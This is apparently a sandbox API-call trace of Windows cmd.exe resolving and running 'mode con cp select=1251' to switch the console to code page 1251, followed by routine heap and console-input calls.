[0125.139] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0125.139] _wcsicmp (_String1="mode", _String2="START") returned -6 [0125.139] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0125.139] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0125.139] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0125.139] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0125.139] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0125.139] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0125.139] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0125.139] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0125.139] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0125.139] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0125.139] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0125.139] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0125.139] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0125.139] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0125.139] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0125.139] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0125.139] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0125.139] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0125.139] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0125.139] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0125.140] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0125.140] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0125.140] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0125.140] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0125.140] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0125.140] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0125.140] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0125.140] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0125.140] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0125.140] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0125.140] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0125.140] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0125.140] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0125.140] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0125.140] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0125.140] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0125.140] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0125.140] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0125.140] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0125.140] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0125.140] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0125.140] _wcsicmp (_String1="mode", _String2="START") returned -6 [0125.140] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0125.140] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0125.140] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0125.140] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0125.140] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0125.140] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0125.140] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0125.140] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0125.140] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0125.140] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0125.140] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0125.140] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0125.140] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0125.141] GetProcessHeap () returned 0x180000 [0125.141] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x218) returned 0x19aae0 [0125.141] GetProcessHeap () returned 0x180000 [0125.141] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x42) returned 0x199900 [0125.141] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0125.141] GetProcessHeap () returned 0x180000 [0125.141] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x420) returned 0x19b310 [0125.141] SetErrorMode (uMode=0x0) returned 0x0 [0125.141] SetErrorMode (uMode=0x1) returned 0x0 [0125.141] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x19b320, lpFilePart=0x12f3a0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12f3a0*="system32") returned 0x13 [0125.141] SetErrorMode (uMode=0x0) returned 0x1 [0125.141] GetProcessHeap () returned 0x180000 [0125.141] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x19b310, Size=0x42) returned 0x19b310 [0125.141] GetProcessHeap () returned 0x180000 [0125.141] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b310) returned 0x42 [0125.141] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0125.141] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0125.141] GetProcessHeap () returned 0x180000 [0125.141] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x104) returned 0x195bb0 [0125.142] GetProcessHeap () returned 0x180000 [0125.142] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1f8) returned 0x199c60 [0125.147] GetProcessHeap () returned 0x180000 [0125.147] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x199c60, Size=0x106) returned 0x199c60 [0125.147] GetProcessHeap () returned 0x180000 [0125.147] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x199c60) returned 0x106 [0125.147] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0125.147] GetProcessHeap () returned 0x180000 [0125.147] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xe8) returned 0x199d80 [0125.147] GetProcessHeap () returned 0x180000 [0125.147] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x199d80, Size=0x7e) returned 0x199d80 [0125.147] GetProcessHeap () returned 0x180000 [0125.147] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x199d80) returned 0x7e [0125.149] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.149] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x12f110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f110) returned 0x195cc0 [0125.149] GetProcessHeap () returned 0x180000 [0125.149] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x28) returned 0x194660 [0125.149] FindClose (in: hFindFile=0x195cc0 | out: hFindFile=0x195cc0) returned 1 [0125.149] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x12f110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12f110) returned 0x195cc0 [0125.149] GetProcessHeap () returned 0x180000 [0125.149] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x194660, Size=0x8) returned 0x199950 [0125.149] FindClose (in: hFindFile=0x195cc0 | out: hFindFile=0x195cc0) returned 1 [0125.149] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0125.149] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0125.149] GetConsoleTitleW (in: lpConsoleTitle=0x12f660, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.150] GetProcessHeap () returned 0x180000 [0125.150] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x21c) returned 0x19b370 [0125.150] GetConsoleTitleW (in: lpConsoleTitle=0x19b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.150] GetProcessHeap () returned 0x180000 [0125.150] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x19b370, Size=0x8a) returned 0x19b370 [0125.150] GetProcessHeap () returned 0x180000 [0125.150] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b370) returned 0x8a [0125.150] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0125.151] GetProcessHeap () returned 0x180000 [0125.151] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b370 | out: hHeap=0x180000) returned 1 [0125.151] InitializeProcThreadAttributeList (in: lpAttributeList=0x12f418, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12f3d8 | out: lpAttributeList=0x12f418, lpSize=0x12f3d8) returned 1 [0125.151] UpdateProcThreadAttribute (in: lpAttributeList=0x12f418, dwFlags=0x0, Attribute=0x60001, lpValue=0x12f3c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12f418, lpPreviousValue=0x0) returned 1 [0125.151] GetStartupInfoW (in: lpStartupInfo=0x12f530 | out: lpStartupInfo=0x12f530*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0125.151] GetProcessHeap () returned 0x180000 [0125.151] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x194660 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.151] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0125.152] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0125.152] GetProcessHeap () returned 0x180000 [0125.152] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x194660 | out: hHeap=0x180000) returned 1 [0125.152] GetProcessHeap () returned 0x180000 [0125.152] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x12) returned 0x198940 [0125.152] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x12f450*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12f400 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x12f400*(hProcess=0x54, hThread=0x50, dwProcessId=0x62c, dwThreadId=0x630)) returned 1 [0125.361] CloseHandle (hObject=0x50) returned 1 [0125.361] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0125.361] GetProcessHeap () returned 0x180000 [0125.361] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x198aa0 | out: hHeap=0x180000) returned 1 [0125.361] GetEnvironmentStringsW () returned 0x198aa0* [0125.361] GetProcessHeap () returned 0x180000 [0125.361] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xafc) returned 0x19b370 [0125.361] FreeEnvironmentStringsW (penv=0x198aa0) returned 1 [0125.361] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x772e0000 [0125.361] GetProcAddress (hModule=0x772e0000, lpProcName="NtQueryInformationProcess") returned 0x773314a0 [0125.361] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x12ed08, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x12ed08, ReturnLength=0x0) returned 0x0 [0125.362] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x12ed40, nSize=0x380, lpNumberOfBytesRead=0x12ed00 | out: lpBuffer=0x12ed40*, lpNumberOfBytesRead=0x12ed00*=0x380) returned 1 [0125.362] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0126.081] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x12f348 | out: lpExitCode=0x12f348*=0x0) returned 1 [0126.081] CloseHandle (hObject=0x54) returned 1 [0126.081] _vsnwprintf (in: _Buffer=0x12f5b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x12f358 | out: _Buffer="00000000") returned 8 [0126.081] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0126.081] GetProcessHeap () returned 0x180000 [0126.081] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b370 | out: hHeap=0x180000) returned 1 [0126.081] GetEnvironmentStringsW () returned 0x19e9b0* [0126.081] GetProcessHeap () returned 0x180000 [0126.081] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb22) returned 0x19f4e0 [0126.081] FreeEnvironmentStringsW (penv=0x19e9b0) returned 1 [0126.081] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0126.081] GetProcessHeap () returned 0x180000 [0126.082] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19f4e0 | out: hHeap=0x180000) returned 1 [0126.082] GetEnvironmentStringsW () returned 0x19e9b0* [0126.082] GetProcessHeap () returned 0x180000 [0126.082] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb22) returned 0x19f4e0 [0126.082] FreeEnvironmentStringsW (penv=0x19e9b0) returned 1 [0126.082] GetProcessHeap () returned 0x180000 [0126.082] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x198940 | out: hHeap=0x180000) returned 1 [0126.082] DeleteProcThreadAttributeList (in: lpAttributeList=0x12f418 | out: lpAttributeList=0x12f418) [0126.082] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0126.082] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.082] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0126.082] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.082] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4ac8e194 | out: lpMode=0x4ac8e194) returned 0 [0126.082] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.083] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4ac8e198 | out: lpMode=0x4ac8e198) returned 0 [0126.083] GetConsoleOutputCP () returned 0x4e3 [0126.083] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0126.084] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.084] GetProcessHeap () returned 0x180000 [0126.084] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199d80 | out: hHeap=0x180000) returned 1 [0126.084] GetProcessHeap () returned 0x180000 [0126.084] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199c60 | out: hHeap=0x180000) returned 1 [0126.084] GetProcessHeap () returned 0x180000 [0126.084] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195bb0 | out: hHeap=0x180000) returned 1 [0126.084] GetProcessHeap () returned 0x180000 [0126.085] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b310 | out: hHeap=0x180000) returned 1 [0126.085] GetProcessHeap () returned 0x180000 [0126.085] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199900 | out: hHeap=0x180000) returned 1 [0126.085] GetProcessHeap () returned 0x180000 [0126.085] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19aae0 | out: hHeap=0x180000) returned 1 [0126.085] GetProcessHeap () returned 0x180000 [0126.085] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x196550 | out: hHeap=0x180000) returned 1 [0126.085] GetProcessHeap () returned 0x180000 [0126.085] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x194630 | out: hHeap=0x180000) returned 1 [0126.085] GetProcessHeap () returned 0x180000 [0126.085] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199840 | out: hHeap=0x180000) returned 1 [0126.085] _vsnwprintf (in: _Buffer=0x4aca6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f878 | out: _Buffer="\r\n") returned 2 [0126.085] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.085] GetFileType (hFile=0xf4) returned 0x3 [0126.085] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.085] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0126.085] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f848, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12f848*=0x2, lpOverlapped=0x0) returned 1 [0126.085] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0126.085] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.085] _vsnwprintf (in: _Buffer=0x4ac8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12f888 | out: _Buffer="C:\\Windows\\system32") returned 19 [0126.085] _vsnwprintf (in: _Buffer=0x4ac8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x12f888 | out: _Buffer=">") returned 1 [0126.085] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.085] GetFileType (hFile=0xf4) returned 0x3 [0126.086] _get_osfhandle (_FileHandle=1) returned 0xf4 [0126.086] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0126.086] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12f878, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12f878*=0x14, lpOverlapped=0x0) returned 1 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.086] GetFileType (hFile=0xe8) returned 0x3 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.086] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.086] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.086] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.086] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.086] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.086] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.086] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.086] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.086] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.086] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.086] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.086] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.086] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.086] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.086] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0126.086] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0126.087] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.087] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0126.087] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0126.087] _get_osfhandle (_FileHandle=0) returned 0xe8 [0126.087] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 